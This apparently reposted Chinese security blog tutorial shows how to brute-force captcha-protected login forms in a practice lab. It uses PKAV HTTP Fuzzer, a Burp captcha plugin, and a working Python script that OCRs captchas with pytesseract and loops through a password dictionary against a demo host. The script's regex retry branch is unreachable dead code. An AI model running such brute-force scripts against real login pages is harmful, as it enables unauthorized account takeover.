Web安全之爆破中的验证码识别~

知识共享许可协议 版权声明:署名,允许他人基于本文进行创作,且必须基于与原先许可协议相同的许可协议分发本文 (Creative Commons

Web安全之爆破中的验证码识别~

写爆破靶场的时候发现对于爆破有验证码的有点意思~这里简单总结下我们爆破有验证码的场景中几种有效的方法~~~

0x01 使用现成工具

这里有pkav团队的神器PKAV HTTP Fuzzer 1.5.6可以实现这个功能~

我们可以用pkav的国产神器,抓取请求包后,分别标记需要爆破的密码和识别的验证码,然后右侧定义加载的字典

配置验证码识别

 

ok~爆破出来了~


0x02 使用爬虫requests库+pytesseract库

当然神器也不是每次都能识别出来,我们也可以使用强大py第三方库来识别爆破

可以使用requests库来发包(这个比selenium简单~~不过也就使用这种简单场景) pytesseract来识别验证码~~~具体安装使用可以看我另一篇博客~https://www.cnblogs.com/-qing-/p/11027821.html

附上自己写的小脚本

# -*- coding: utf-8 -*-
#后台带验证码爆破 By 卿
import requests
import pytesseract
import re

code_url='http://www.brute_demo.com/vaildcode.php' #验证码地址
brute_url='http://www.brute_demo.com/brute_4.php' #表单提交地址

#识别验证码的函数
def  user_code():
#获取图片验证码
    r = s.get(code_url)
    with open('1.png', 'wb') as f:
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:  
                f.write(chunk)
                f.flush()
        f.close()
    #识别图片验证码
    im = pytesseract.image_to_string('1.png')
    im = im.replace(' ', '')
    return im
    #有时候识别失败可以加载正则再次识别
    if re.match('[0-9]{4}',im):#4位数字的验证码
        return im
    else:
        return user_code()#再次识别

s=requests.session()
headers = {"Content-Type":"application/x-www-form-urlencoded","Connection":"Keep-Alive"}
with open(r'pass.dic', 'r') as Pass:#加载密码字典
    for password in Pass.readlines():
        code = user_code()
        print("验证码"+code)
        data = {'username':'qing','password':password,'submit':'submit','checkNum':code}
        r=s.post(brute_url,data=data,headers=headers)
        #密码正确
        if 'Password mistake' not in r.text:
            print("正确的密码为:"+password)
            break

0x03 使用Burp插件reCAPTCHA

reCAPTCHA

一个burp插件,自动识别图形验证码,并用于Intruder中的Payload。最新版支持 GSA Captcha Breaker, 这个软件可以本地运行,速度杠杠的!

项目主页:https://github.com/bit4woo/reCAPTCHA

使用:

选中需要识别验证码的包并点击右键选择“Send to reCAPTCHA”,这个请求的信息将被发送到reCAPTCHA。

  1. 切换到reCAPTCHA标签,并配置所需的参数。当参数配置好后,你可以点击“请求”按钮来测试配置。
  2. http://www.ysdm.net 的API是目前唯一支持的接口,其中的各项参数需要自行注册帐号并填写,才能成功调用接口完成图片的识别。该API需要的参数如下,请用正确的值替换%s ,特别注意typeid值的设定(http://www.ysdm.net/home/PriceType)。

    username=%s&password=%s&typeid=%s

在Intruder中使用:

完成了配置并测试成功后,现在可以在Intruder中使用该插件生成的payload了

posted @ 2019-06-15 21:30 卿先生 阅读(...) 评论(...) 编辑 收藏

猜你喜欢

转载自blog.csdn.net/qq_17204441/article/details/92279747